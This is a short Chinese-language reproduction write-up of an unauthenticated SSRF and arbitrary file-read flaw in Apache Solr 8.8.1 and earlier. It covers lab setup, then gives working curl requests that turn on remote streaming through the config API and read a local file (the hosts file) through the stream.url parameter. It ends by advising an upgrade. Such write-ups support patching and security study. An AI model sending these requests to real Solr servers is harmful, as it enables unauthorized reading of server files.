漏洞概述
Apache Solr是一个开源的搜索服务,使用Java编写、运行在Servlet容器的一个独立的全文搜索服务器,是Apache Lucene项目的开源企业搜索平台。
该漏洞是由于没有对输入的内容进行校验,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SSRF攻击,最终造成任意读取服务器上的文件。
影响版本
Apache Solr <= 8.8.1
环境搭建
http://archive.apache.org/dist/lucene/solr/8.8.1/
解压完成后,进入bin目录,执行
solr start -p 8983
访问your-ip:8983即可看到页面
点击左侧的Core Admin来创建一个Core,可以发现报错
此时Solr已经在server/solr目录下已经创建了名字为new_core的文件夹,我们只需要把server/solr/configsets/default文件夹下的conf目录整个拷贝到new_core文件夹下,即可
此时即可创建成功
漏洞复现
通过http://192.168.1.103:8983/solr/admin/cores?indexInfo=false&wt=json可以看到core的名字
通过Solr提供的API可以开启远程开启文件流读取
curl -d '{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.1.103:8983/solr/new_core/config -H 'Content-type:application/json'
读取本机的hosts的文件
curl "http://192.168.1.103:8983/solr/new_core/debug/dump?param=ContentStreams" -F "stream.url=file:///C:\Windows\System32\drivers\etc\hosts"
修复建议
升级到最新版本
下载地址:
https://solr.apache.org/downloads.html